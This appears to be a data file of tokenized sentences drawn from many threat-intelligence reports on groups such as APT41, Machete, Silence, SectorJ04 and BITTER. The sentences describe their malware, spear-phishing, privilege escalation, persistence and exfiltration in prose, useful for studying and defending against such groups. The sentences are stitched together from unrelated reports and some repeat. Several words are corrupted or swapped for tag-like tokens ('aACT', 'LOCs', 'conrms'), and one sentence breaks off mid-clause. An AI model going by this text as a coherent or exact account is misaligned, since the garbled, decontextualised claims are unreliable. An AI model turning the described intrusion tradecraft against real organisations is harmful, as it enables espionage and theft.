In 2014 , APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service .
Although we do not have first-hand evidence of APT41's compromise of TeamViewer , we have observed APT41 use compromised TeamViewer credentials as an entry point at multiple organizations .
Public reports of supply chain compromises linked to APT41 date back to at least 2014 , and technical evidence associated with these incidents was used to determine a relationship , if any , with APT41 .
As demonstrated in operations targeting the video game industry , APT41 leverages a variety of TTPs to access production environments where they can inject malicious code into legitimate files .
In March 2017 , suspected Chinese espionage operators targeted CCleaner , a utility that assists in the removal of unwanted files from a computer .
In July 2017 , APT41 injected malicious code into a software update package maintained by Netsarang and signed it with a legitimate Netsarang certificate in an operation referred to as ShadowPad by Kaspersky .
Both APT41 and the actors in the CCleaner incident used TeamViewer during initial compromise .
Supply chain compromises are most likely an extension of APT41's tactics used in gaining access to gaming development environments and to other gaming organizations via third-party service providers .
Beginning in July 2018 , APT41 appeared to have directly targeted several East and Southeast Asia-based video game developers and distributors to inject legitimate executables with the CRACKSHOT backdoor .
The lure used to target the cryptocurrency exchange (displayed in Figure 5 and translated in Figure 6) referenced an online gaming platform , tying the cryptocurrency targeting to APT41's focus on video game-related targeting .
FireEye malware analysis identified source code overlaps between malware used by APT41 in May 2016 targeting of a U.S.-based game development studio and the malware observed in supply chain compromises in 2017 and 2018 .
In May 2016 , APT41 deployed a POISONPLUG sample at a U.S.-based game development studio .
Alternatively , it is also possible that APT41 injected malicious code into the package prior to compilation , circumventing the need to steal the code-signing certificate and compile it on their own .
Either APT41 is operating outside of state control but still working with other Chinese APT malware actors , tools , and infrastructure on a parttime or contractual basis , or APT41 is a full-time .
APT41 uses many of the same tools and compromised digital certificates that have been leveraged by other Chinese espionage operators .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
APT41 has used several malware families that have also been used by other Chinese espionage operators , including variants of HIGHNOON , HOMEUNIX , PHOTO , SOGU , and ZXSHELL , among others .
HIGHNOON , one of the main code families observed being used by APT41 , was also used by APT17 in 2015 to target semiconductor and chemical manufacturers .
HOMEUNIX , another popular backdoor used by APT41 , has been used by at least 14 separate Chinese espionage groups , including APT1 , APT10 , APT17 , APT18 , and APT20 .
APT41 has used CROSSWALK.BIN , a kernel driver , to circumvent firewalls and covertly send data .
Another Chinese espionage group used a similar tool , CLASSFON , to covertly proxy network communications in 2011 .
At least two of these malware families , HIGHNOON.CLI and GEARSHIFT , have been used by APT17 and another suspected Chinese espionage group .
APT41 regularly leverages code-signing certificates to sign malware when targeting both gaming and nongaming organizations .
In July 2017 , APT41 initiated a TeamViewer session and transferred files that were later deleted .
In these instances , APT41 leveraged TeamViewer to transfer malware into the compromised environment , although we do not have direct evidence of APT41 compromising TeamViewer .
In May 2018 , APT41 used TeamViewer for initial entry in the compromise of a healthcare company .
Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .
APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases .
The group will also use a compromised account to create scheduled tasks on systems or modify legitimate Windows services to install the HIGHNOON and SOGU backdoors .
APT41 uses multiple methods to perform lateral movement in an environment , including RDP sessions , using stolen credentials , adding accounts to User and Admin groups , and password brute-forcing utilities .
To maintain presence , APT41 relies on backdoors , a Sticky Keys vulnerability , scheduled tasks , bootkits , rootkits , registry modifications , and creating or modifying startup files .
APT41 leveraged ROCKBOOT as a persistence mechanism for PHOTO and TERA backdoors .
APT41 has also been observed modifying firewall rules to enable file and printer sharing to allow for inbound Server Message Block (SMB) traffic .
In some instances , APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment .
The group also deploys the SOGU and CROSSWALK malware families as means to maintain presence .
APT41 sent spear-phishing emails to multiple HR employees three days after the compromise had been remediated and systems were brought back online .
APT41 also deploys the SOGU and CROSSWALK malware families as means to maintain presence .
Within hours of a user opening the malicious attachment dropping a HOMEUNIX backdoor , APT41 regained a foothold within the environment by installing PHOTO on the organization's servers across multiple geographic regions .
Before attempting to deploy the publicly available Ransomware-as-a-Service (RaaS) Encryptor RaaS through group policy , APT41 blocked victim systems from retrieving anti-virus updates by accessing the DNS management console and implementing a forward lookup on the domain used for anti-virus updates to the park IP address 1.1.1.1 .
APT41 has been observed creating a RAR archive of targeted files for Exfiltration .
APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain .
During multiple engagements , APT41 attempted to remove evidence of some of its activity by deleting Bash histories , clearing Windows security and system events , and modifying DNS management to avoid anti-virus detections .
Explicit financially-motivated targeting is unusual among Chinese statesponsored threat groups , and evidence suggests APT41 has conducted simultaneous cyber crime and Cyber Espionage operations from 2014 onward .
APT41 operations against higher education , travel services , and news/media firms provide some indication that the group also tracks individuals and conducts surveillance .
For example , the group has repeatedly targeted call record information at telecom companies .
APT41 has established and maintained strategic access to organizations in the healthcare , high-tech , and telecommunications sectors .
The group’s financially motivated activity has primarily focused on the video game industry , where APT41 has manipulated virtual currencies and even attempted to deploy ransomware .
In another instance , APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there , suggesting the group was tasked to reconnoiter the facility for security reasons .
These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns .
Interestingly , despite the significant effort required to execute supply chain compromises and the large number of affected organizations , APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers .
Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs .
The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations .
APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions , including publicly available utilities , malware shared with other Chinese espionage operations , and tools unique to the group .
Once in a victim organization , APT41 can leverage more sophisticated TTPs and deploy additional malware .
APT41 often relies on spear-phishing emails with attachments such as compiled HTML ( .chm ) files to initially compromise their victims .
APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems .
The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets .
Like other Chinese espionage operators , APT41 appears to have moved toward strategic intelligence collection and establishing access and aACT from direct intellectual property theft since 2015 .
This shift , however , has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e. , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e. , possibly en masse .
With the contents of the emails , included links and decoy PDFs all involving taxes , the attackers are apparently targeting the financial departments of organizations in the Balkans region .
Some parts of the campaign were briefly described by a Serbian security provider in 2016 and the Croatian CERT in 2017 .
The campaign has been active at least from January 2016 to the time of writing the most recent detections in our telemetry are from July 2019 .
Our findings show that the mentioned attacks have been orchestrated and we consider them a single long-term campaign that spans Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 .
Both BalkanRAT and BalkanDoor spread in Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
According to our telemetry , the campaign spreading these tools has been live since 2016 , with the most recent detections as late as in July 2019 .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e. , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
Via the BalkanDoor backdoor , the attacker sends a backdoor command to unlock the screen… and using BalkanRAT , they can do whatever they want on the computer .
The BalkanDoor backdoor does not implement any Exfiltration channel .
APT41 leveraged ADORE.XSEC , a Linux backdoor launched by the Adore-NG rootkit , throughout an organization's Linux environment .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
The main part of the BalkanRAT malware is a copy of the Remote Utilities software for remote access .
Interestingly , some of the APT41's POISONPLUG malware samples leverage the Steam Community website associated with Valve , a video game developer and publisher .
The campaign targeting accountants in the Balkans shows some similarities with a campaign aimed at Ukrainian notaries reported in 2016 .
Based on the Let’s Encrypt certificate issuance date , we believe this campaign to be active from May 2019 .
One of the domains uncovered during the investigation was identified by the Chinese security vendor CERT 360 as being part of the BITTER APT campaign in May 2019 .
Further analysis of the BITTER APT’s infrastructure uncovered a broader phishing campaign targeting other government sites and state-owned enterprises in China .
Further investigation revealed approximately 40 additional sites , all of which appear to be targeting the government of China and other organisations in China .
We expect to see BITTER APT continuing to target the government of China by employing spoofed login pages designed to steal user credentials and obtain access to privileged account information .
This domain and IP address has been previously associated with the BITTER APT and targeting government agencies in China with phishing attacks , based on reporting from 360-CERT .
At the time of analysis , the subdomains did not host a website; however , based on BITTER APT group’s targeting patterns , it is highly likely that they were created to host faux login phishing pages designed to steal user’s credentials .
BITTER APT campaigns are primarily targeting China , Pakistan and Saudi Arabia historically .
As part of its ongoing research initiatives , the Anomali Threat Research Team has discovered a new phishing attack leveraging spoof sites that seem to be designed to steal email credentials from the target victims within the government of the People’s Republic of China .
360 Threat Intelligence Center has reported on related indicators being attributed to BITTER APT a South Asian country suspected Indian APT in open source reporting .
China Chopper is a tool that has been used by some state-sponsored actors such as Leviathan and Threat Group-3390 , but during our investigation we've seen actors with varying skill levels .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
Cisco Talos discovered significant China Chopper activity over a two-year period beginning in June 2017 , which shows that even nine years after its creation , attackers are using China Chopper without significant modifications .
Here , we investigate a campaign targeting an Asian government organization .
We observed another campaign targeting an organisation located in Lebanon .
China Chopper contains a remote shell ( Virtual Terminal ) function that has a first suggested command of netstat an|find ESTABLISHED .
They download and install an archive containing executables and trivially modified source code of the password-stealing tool Mimikatz Lite as GetPassword.exe .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit .
The attacker obtains the required privileges and launches a few other tools to modify the access control lists (ACLs) of all websites running on the affected server .
The Windows branch of the Cloud Atlas intrusion set still uses spear-phishing emails to target high profile victims .
From the beginning of 2019 until July , we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia , Central Asia and regions of Ukraine with ongoing military conflicts .
We described one of the techniques used by Cloud Atlas in 2017 and our colleagues at Palo Alto Networks also wrote about it in November 2018 .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
Previously , Cloud Atlas dropped its validator” implant named PowerShower” directly , after exploiting the Microsoft Equation vulnerability CVE-2017-11882 mixed with CVE-2018-0802 .
This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage .
Cloud Atlas remains very prolific in Eastern Europe and Central Asia .
During its recent campaigns , Cloud Atlas used a new polymorphic” infection chain relying no more on PowerShower directly after infection , but executing a polymorphic HTA hosted on a remote server , which is used to drop three different files on the local system .
The Gamaredon Group has been actively launching spear-phishing attacks against Ukrainian government and military departments from the mid-2013s .
In addition , the anonymous cybersecurity experts referenced in the article connected the malicious Gamaredon Group actors with Russian state-sponsored hackers .
In one article published in the Kharkiv Observer – an independent Ukranian online publication – an unnamed source stated that even the Ukrainian Presidential Administration has been attacked by malware developed by the Gamaredon Group .
Gamaredon Group primarily target Ukrainian organizations and resources using spear-phishing attacks , and they use military or similar documents as bait .
Once they have found a victim , they then deploy remote manipulation system binaries (RMS) via self-extracting archives and batch command files .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
During a recent incident response investigation , our team identified new attacks by the financially motivated attack group ITG08 , also known as FIN6 .
More recently , ITG08 has been observed targeting e-commerce environments by injecting malicious code into online checkout pages of compromised websites — a technique known as online skimming — thereby stealing payment card data transmitted to the vendor by unsuspecting customers .
This tool , a TTP observed in ITG08 attacks since 2018 , is sold on the dark web by an underground malware-as-a-service (MaaS) provider .
ITG08 is an organized cybercrime gang that has been active since 2015 , mostly targeting pointof-sale (POS) machines in brick-and-mortar retailers and companies in the hospitality sector in the U.S. and Europe .
Past campaigns by ITG08 using the More_eggs backdoor were last reported in February 2019 .
Attackers use it to create , expand and cement their foothold in compromised environments .
Lastly , ITG08 used Comodo code-signing certificates several times during the course of the campaign .
Let’s take a closer look at ITG08’s TTPs that are relevant to the campaign we investigated , starting with its spear phishing and intrusion tactics and covering information on its use of the More_eggs backdoor .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
X-Force IRIS determined that the More_eggs backdoor later downloaded additional files , including a signed binary shellcode loader and a signed Dynamic Link Library ( DLL ) , as described below , to create a reverse shell and connect to a remote host .
Once the ITG08 established a foothold on the network , they employed WMI and PowerShell techniques to perform network reconnaissance and move laterally within the environment .
The attackers used this technique to remotely install a Metasploit reverse TCP stager on select systems , subsequently spawning a Meterpreter session and Mimikatz .
In addition to the More_eggs malware , ITG08 leveraged in-memory attacks by injecting malicious code , in this case Mimikatz , into legitimate system processes .
A recently rising attack tool in ITG08 campaigns has been the More_eggs JScript backdoor .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
After a successful phishing attack in which users have opened emails and browsed to malicious links , ITG08 attackers install the More_eggs JScript backdoor on user devices alongside several other malware components .
Beyond using More_eggs as a backdoor , ITG08 in this campaign also used offensive security tools and PowerShell scripts to carry out the different stages of the attack .
After injecting Meterpreter into memory , the attacker had complete control of the infected device .
IBM X-Force IRIS has gained insight into ITG08’s intrusion methods , ability to navigate laterally , use of custom and open-source tools , and typical persistence mechanisms .
After the phishing email resulted in a successful infiltration , ITG08 used the More_eggs backdoor to gain a foothold and infect additional devices .
In addition , configuring PowerShell script logging and identifying any obfuscation will assist in mitigating ITG08’s use of PowerShell to conduct malicious activity .
The LYCEUM threat group targets organizations in sectors of strategic national importance , including oil and gas and possibly telecommunications .
CTU research indicates that LYCEUM may have been active as early as April 2018 .
In May 2019 , the threat group launched a campaign against oil and gas organizations in the Middle East .
This campaign followed a sharp uptick in development and testing of their toolkit against a public multivendor malware scanning service in February 2019 .
Stylistically , the observed tradecraft resembles activity from groups such as COBALT GYPSY (which is related to OilRig , Crambus , and APT34 and COBALT TRINITY also known as Elfin and APT33 .
When CTU researchers first published information about LYCEUM to Secureworks Threat Intelligence clients , no public documentation on the group existed .
Using compromised accounts , LYCEUM send spearphishing emails with malicious Excel attachments to deliver the DanBot malware , which subsequently deploys post-intrusion tools .
The developer consistently used Accept-Enconding” (note the extra ‘n’) in all DanBot samples analyzed by CTU researchers .
Get-LAPSP.ps1 is a PowerShell script that gathers account information from Active Directory via LDAP .
LYCEUM deployed this tool via DanBot shortly after gaining initial access to a compromised environment .
LYCEUM delivers weaponized maldocs via spearphishing from the compromised accounts to the targeted executives , human resources (HR) staff , and IT personnel .
This focus on training aligns with LYCEUM’s targeting of executives , HR staff , and IT personnel .
Despite the initial perception that the maldoc sample was intended for ICS or OT staff , LYCEUM has not demonstrated an interest in those environments .
However , CTU researchers cannot dismiss the possibility that the LYCEUM could seek access to OT environments after establishing robust access to the IT environment .
LYCEUM is an emerging threat to energy organizations in the Middle East , but organizations should not assume that future targeting will be limited to this sector .
Aside from deploying novel malware , LYCEUM’s activity demonstrates capabilities CTU researchers have observed from other threat groups and reinforces the value of a few key controls .
Password spraying , DNS tunneling , social engineering , and abuse of security testing frameworks are common tactics , particularly from threat groups operating in the Middle East .
The group behind these attacks has stolen gigabytes of confidential documents , mostly from military organizations .
Machete is still very active at the time of this publication , regularly introducing changes to its malware , infrastructure and spearphishing campaigns .
ESET has been tracking a new version of Machete (the group’s Python-based toolset) that was first seen in April 2018 .
This extends to other countries in Latin America , with the Ecuadorean military being another organization highly targeted with the Machete malware .
Their long run of attacks , focused on Latin American countries , has allowed them to collect intelligence and refine their tactics over the years .
Machete is interested in files that describe navigation routes and positioning using military grids .
The Machete group sends very specific emails directly to its victims , and these change from target to target .
The Machete group is very active and has introduced several changes to its malware since a new version was released in April 2018 .
Previous versions were described by Kaspersky in 2014 and Cylance in 2017 .
Since August 2018 , the Machete components have been delivered with an extra layer of obfuscation .
The GoogleUpdate.exe component is responsible for communicating with the remote C&C server .
ESET has been tracking this threat for months and has observed several changes , sometimes within weeks .
This ACT , the malware can have its configuration , malicious binaries and file listings updated , but can also download and execute other binaries .
The presence of code to exfiltrate data to removable drives when there is physical access to a compromised computer may indicate that Machete operators could have a presence in one of the targeted countries , although we cannot be certain .
This group is very active and continues to develop new features for its malware , and implement infrastructure changes in 2019 .
Machete's long run of attacks , focused in Latin American countries , has allowed them to collect intelligence and refine their tactics over the years .
ESET researchers have detected an ongoing , highly targeted campaign , with a majority of the targets being military organizations .
The group behind Machete uses effective spearphishing techniques .
First described by Kaspersky in 2014 [1] and later , by Cylance in 2017 [2] , Machete is a piece of malware found to be targeting high profile individuals and organizations in Latin American countries .
In 2018 Machete reappeared with new code and new features .
As of June 2019 , ESET has seen over 50 victims being actively spied upon by Machete , with more than half of them being computers belonging to the Venezuelan military forces .
Machete has Latin American targets and has been developed by a Spanish-speaking group , presumably from a LATAM country .
Machete was active and constantly working on very effective spearphishing campaigns .
In some cases , Machete trick new victims by sending real documents that had been stolen on the very same day .
Machete relies on spearphishing to compromise its targets .
They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes .
Attackers take advantage of that , along with their knowledge of military jargon and etiquette , to craft very convincing phishing emails .
Operators behind Machete apparently already have information about individuals or organizations of interest to them in Latin America , how to reach them , and how best to trick them into getting compromised .
Since the end of March up until the end of May 2019 , ESET observed that there were more than 50 victimized computers actively communicating with the C&C server .
This extends to other countries in Latin America , with the Ecuadorean military being another organization highly targeted by Machete .
Machete is malware that has been developed and is actively maintained by a Spanish-speaking group .
Since it was active in 2012 , it has been carrying out attacks against sensitive targets in China and is one of the most active APT attack organizations targeting mainland China in recent years .
By introducing small changes to their code and infrastructure , the group has bypassed several security products .
OceanLotus will release malicious sub-packages in the background , receive the remote control command , steal the privacy information of users such as SMS messages , contacts , call records , geographic locations , and browser records .
They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage .
It can be seen that after the code leakage , the CEO of the HackingTeam organization said that the leaked code is only a small part is based on the facts , which also reflects that the network arms merchants have lowered the threshold of APT attacks to a certain extent , making more uncertainties of cyber attacks .
This report includes details related to the major hacking targets of the SectorJ04 group in 2019 , how those targets were hacked , characteristics of their hacking activities this year and recent cases of the SectorJ04 group’s hacking .
In 2019 , the SectorJ04 group expanded its hacking activities to cover various industrial sectors located across Southeast Asia and East Asia , and is changing the pattern of their attacks from targeted attacks to searching for random victims .
The SectorJ04 group has maintained the scope of its existing hacking activities while expanding its hacking activities to companies in various industrial sectors located in East Asia and Southeast Asia .
There was a significant increase in SectorJ04's hacking activities in 2019 , especially those targeting South Korea .
They mainly utilize spam email to deliver their backdoor to the infected system that can perform additional commands from the attacker’s server .
We saw SectorJ04 group activity in Germany , Indonesia , the United States , Taiwan , India .
The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached , and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system .
The SectorJ04 group’s preexisting targets were financial institutions located in countries such as North America and Europe , or general companies such as retail and manufacturing , but they recently expanded their LOCs of activity to include the medical , pharmaceutical , media , energy and manufacturing industries .
The SectorJ04 group mainly used their own backdoor , ServHelper and FlawedAmmy RAT , for hacking .
Backdoors are installed in infected systems and SectorJ04 also distributed email stealers , botnet malware and ransomware through those backdoors .
Backdoor installed in the infected system distributed additional botnet malware , ransomware and email stealers .
SectorJ04 was recently confirmed to use additional backdoor called AdroMut and FlowerPippi , which is used to install other backdoor such as FlawedAmmy RAT on behalf of the MSI file , or to collect system information and send it to the attacker’s server .
Although the SectorJ04 group mainly targeted countries located in Europe or North America , it has recently expanded its field of activities to countries located in Southeast Asia and East Asia .
The email stealer collects connection protocol information and account information , such as SMTP , IMAP , and POP3 , which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format .
A new type of backdoor called AdroMut and a new malware called FlowerPippi was also found coming from SectorJ04 .
But after 2019 SectorJ04 has changed its hacking strategy to attack using spam email .
The hacking activities of SectorJ04 group , which targeted South Korea in the first half of 2019 , have been continuously discovered .
Prior to 2019 , the SectorJ04 group conducted large-scale hacking activities for financial gain using exploit kits on websites to install ransomware , such as Locky and GlobeImporter , along with its banking Trojan , on its victims computers .
In June 2019 , continuous SectorJ04's activities targeting South Korea were found again and spam emails were written with various contents , including transaction statements , receipts and remittance cards .
The SectorJ04 group has carried out large-scale hacking activities targeting South Korea , while also expanding the field of attacks to Southeast Asian countries such as Taiwan and the Philippines .
In June , SectorJ04 group conducted hacking using spam emails written in various languages , including English , Arabic , Korean and Italian , and the emails were written with various contents , including remittance card , invoice and tax invoice .
Spam emails and attachments written in Chinese were found in May , and the SectorJ04 group at that time targeted industrial sectors such as electronics and telecommunications , international schools and manufacturing .
In addition to their preexist backdoor , ServHelper and FlawedAmmy , they have also been confirmed to use the backdoor called AdroMut and FlowerPippi .
AdroMut downloads the malware ServHelper and FlawedAmmy RAT used by the SectorJ04 group from the attacker server and simultaneously performs the functions of a backdoor .
The SectorJ04 group , which has been utilizing the same pattern of infection and the same malware for more than six months , is believed to be attempting to change its infection methods such as downloading malware directly from malicious documents without using MSI installation files , changing their spam email format and using new types of backdoor .
Until 2019 , SectorJ04 group had carried out massive website-based hacking activities that mainly utilize ransomware and banking trojans for financial profit , and has also been carrying out information gathering activities to secure attack resources such as email accounts and system login information from users since 2019 .
The SectorJ04 group has shown a pattern of hacking activities that have changed from targeted attacks to a large-scale distribution of spam .
This allows them to expand their range of targets of hacking activities for financial profit , and in this regard , SectorJ04 group has been found to have hacked into a company’s internal network by using a spear phishing email targeting executives and employees of certain South Korean companies around February 2019 .
SectorJ04 group carried out intensive hacking on various industrial sectors , including South Korea’s media , manufacturing and universities , around February and March 2019 .
SectorJ04 used the spear phishing email to spread malicious Excel or malicious Word files , and downloaded the MSI files from the attacker’s server when the malicious documents were run .
SectorJ04 group conducted hacking activities targeting financial institutions located in India and Hong Kong around April 2019 .
SectorJ04 group carried out hacking activities targeting financial institutions located in Italy and other countries around May 2019 .
In late July , SectorJ04 group used FlawedAmmy RAT to carry out hacking attacks on companies and universities in sectors such as education , job openings , real estate and semiconductors in South Korea .
In early August , the SectorJ04 group carried out extensive hacking activities targeting the users around the world , including South Korea , India , Britain , the United States , Germany , Canada , Argentina , Bangladesh and Hong Kong .
Spam emails targeting email accounts used in the integrated mail service of public officials were also found in the hacking activity .
They are one of the most active cyber crime groups in 2019 , and they often modify and tweak their hacking methods and perform periodic hacking activities .
Now , Silence is one of the most active threat actors targeting the financial sector .
Since we released our original report , Silence: Moving into the darkside , the confirmed damage from Silence's operations has increased fivefold compared to the figures in Group-IB's initial report .
Silence started by targeting organizations in Russia , gradually shifting their focus to former Soviet countries , and then the world .
Silence also started using Ivoke , a fileless loader , and EDA agent , both written in PowerShell .
Silence 2.0: Going Global is an extension of our original report: Silence: Moving into the Darkside which remains the most significant contribution to the research on the group and is the first such report to reveal Silence’s activity .
Since the report’s release in September 2018 , Group-IB’s Threat Intelligence team has detected 16 campaigns targeting banks launched by Silence .
Like the majority of APT groups , Silence uses phishing as their infection vector .
In the last successful attack described in Silence: Moving into the darkside , dated April 2018 , the hackers siphoned off about $150 , 000 through ATMs in a single night .
Prior to April 2018 , as described in Group-IB’s Silence: Moving into the darkside report , Silence’s target interests were primarily limited to former Soviet and Eastern European countries including Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
In 2018 , Silence conducted test campaigns to update their database of current targets and expand their attack geography .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
Silence has conducted at least three campaigns using recon emails , followed by malicious mail sent to an updated recipient list .
Group-IB has also detected recon emails sent out to New Zealand .
Since our last public report , Silence has sent out more than 170 , 000 recon emails to banks in Russia , the former Soviet Union , Asia and Europe .
In November 2018 , Silence tried their hand at targeting the Asian market for the first time in their history .
In total , Silence sent out about 80 , 000 emails , with more than half of them targeting Taiwan , Malaysia , and South Korea .
Prior to April 2018 , as described in Group-IB’s Silence: Moving into the darkside report , Silence’s target interests were primarily limited to former Soviet and Eastern European countries including Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
From 16 October 2018 to 1 January 2019 , Silence sent out about 84 , 000 emails in Russia alone to update their address database .
As part of their phishing campaigns , silence still uses Microsoft Office documents with macros or exploits , CHM files , and .lNK shortcuts as malicious attachments .
In the former Soviet Union , Silence targeted banks in Kyrgyzstan , Kazakhstan , and Ukraine .
In 2019 , Group-IB also observed the use of a new fileless PowerShell loader called Ivoke .
The Silence.Main Trojan , which is the main stage of the attack , has a full set of commands to control a compromised computer .
As the CnC server , Silence use CnC-3 server running Windows , from which they send commands to download additional modules .
To control ATMs , the group uses the Atmosphere Trojan , which is unique to Silence , or a program called xfs-disp.exe .
In addition , Silence downloads the reverse proxy programs Silence.ProxyBot and SilenceProxyBot.NET , which are described in detail in the report Silence: moving into the darkside .
Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability .
Group-IB specialists tracked a massive mailout of emails containing a malicious Microsoft Word attachment titled Договор.doc” [Contract.doc] .
Silence sent out emails to Russian banks .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
Silence conducted a massive phishing campaign posing as the Central Bank of the Russian Federation .
Group-IB specialists have established that the aim of the attack was to deliver and launch the second stage of Silence’s Trojan , known as Silence.MainModule .
Silence attacked financial organisations in the UK .
Silence conducted the first stage of their Asian campaign , organising a massive phishing attack aimed at receiving an up-to-date list of current recipients in different countries for further targeted attacks delivering their malicious software .
The attackers used the server deployed on 6 June 2019 to control compromised workstations in these banks .
On 24 March 2019 , Silence.ProxyBotMD5 2fe01a04d6beef14555b2cf9a717615c ) was uploaded to VirusTotal from an IP address in Sri Lanka .
On October 18th , 2018 , the group sent out emails to British financial companies as part of their preparatory campaign .
Group-IB experts established that the server 185.20.187.89 started functioning no later than 28 January 2019 .
According to local media reports , in 2019 Silence successfully withdrew money from the Bangladeshi bank twice within 2 months .
To do this , the actor may have used a unique tool called Atmosphere , a Trojan developed by Silence to remotely control ATM dispensers , or a similar program called xfs-disp.exe , which the actor may have used in their attack on IT Bank .
As we described in Silence: Moving into the darkside report , Silence has experience with theft using compromised card processing systems .
In February 2019 , Russian media7 reported a Silence attack on IT Bank in the city of Omsk .
On 16 January 2019 , Silence sent out phishing emails with malicious attachments disguised as invitations to the International Financial Forum iFin-2019 .
Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails .
The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine .
Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.exe with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server .
Since at least 2011 , these hackers have been using malware to spy on corporate networks .
Hackers are targeting high-tech companies as well as chemical and pharmaceutical companies .
The hackers will map a company’s network and look for strategically favorable locations for placing their malware .
The corporation conrms the Winnti incident and issues the following statement: The cyberattack was discovered in the summer of 2014 and Henkel promptly took all necessary precautions.” Henkel claims that a very small portion” of its worldwide IT systems had been aected — the systems in Germany .
A BASF spokeswoman tells us in an email that in July 2015 , hackers had successfully overcome the rst levels” of defense .
The tool was written by sta of Thyssenkrupp , because the industrial giant—company number eleven—had been spied on by Winnti .
Hackers are charged with spying on a manufacturer of gas turbines .
The Hong Kong government was spied on by the Winnti hackers .
Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX .
While OceanLotus’ targets are global , their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries , foreign governments , activists , and dissidents connected to Vietnam .
NewsBeef attacks against Saudi Arabian organizations and individuals are likely to continue .
Rapid7 discovered that additional data was placed into the Dropbox accounts under control of the APT10 during the compromise and was able to attribute data that was placed into it as being owned by Visma .
Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe .
These RAT families are discussed in Novetta’s other report on the Lazarus Group’s RAT and Staging capabilities .
Magic Hound has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia .
Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a Cyber Espionage operation to collect information from defense , aerospace and petrochemical organizations .
CTU researchers observed likely unsuccessful phishing campaigns being followed by highly targeted spearphishing and social engineering attacks from a threat actor using the name Mia Ash .
CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering .
Characterized by relatively unsophisticated technical merit and extensive use of spear phishing , the Magic Hound targeted individuals and organizations in the Middle East , as well as across Europe and in the United States .
These malware families have a rich history of being used in many targeted attacks against government and private organizations .
The activity surfaced in Southeast Asia , a region where APT10 frequently operates .
The samples we analyzed originated from the Philippines .
APT10 frequently targets the Southeast Asia region .
Both of the loader’s variants and their various payloads that enSilo analyzed share similar Tactics , Techniques , and Procedures and code associated with APT10 .
Typically , APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain .
Also , the certificate embedded in the Quasar sample was issued at 22.12.2018 , which correlates with the file’s compilation date .
Over the past three months , Recorded Future’s Insikt Group has observed an increase in APT33’s also known as Elfin infrastructure building and targeting activity , and on June 21 , 2019 , Yahoo .
News reported that the U.S. Cyber Command launched cyberattacks on an Iranian spy group .
Iranian state-sponsored threat actor APT33 has been conducting cyberespionage activity since at least 2013 , predominantly targeting nations in the Middle East , but also notably targeting U.S. , South Korean , and European commercial entities across a wide variety of sectors .
